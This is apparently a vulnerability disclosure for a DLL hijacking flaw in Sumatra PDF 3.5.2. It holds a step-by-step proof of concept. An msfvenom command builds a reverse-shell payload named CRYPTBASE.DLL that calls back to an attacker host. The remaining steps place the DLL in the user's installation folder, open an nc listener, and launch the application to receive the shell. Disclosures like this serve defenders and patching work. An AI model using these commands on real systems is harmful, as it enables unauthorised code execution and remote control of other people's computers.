# Vendor Homepage: https://www.sumatrapdfreader.org/free-pdf-reader  
# Software Link: https://www.sumatrapdfreader.org/download-free-pdf-viewer

Description:  
In Sumatra PDF version 3.5.2, a DLL hijacking vulnerability is possible allowing a local attacker to get a shell and execute code on the host system in context of the currently logged-on user. This is possible by creating / placing a malicious DLL in the installation directory. The affected DLL is CRYPTBASE.DLL.  
  
Proof of Concept:  
  
1. Use MSFVenom to create a malicious DLL:  
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=7777 -f dll -o CRYPTBASE.DLL  
  
2. Copy this file to the Sumatra PDF installation folder:  
C:\Users\<username>\AppData\Local\SumatraPDF\  
  
3. Start a listener in attacking system:  
nc -nlvp 7777  
  
4. Start the Sumatra PDF application and notice a reverse shell in the attacking system.
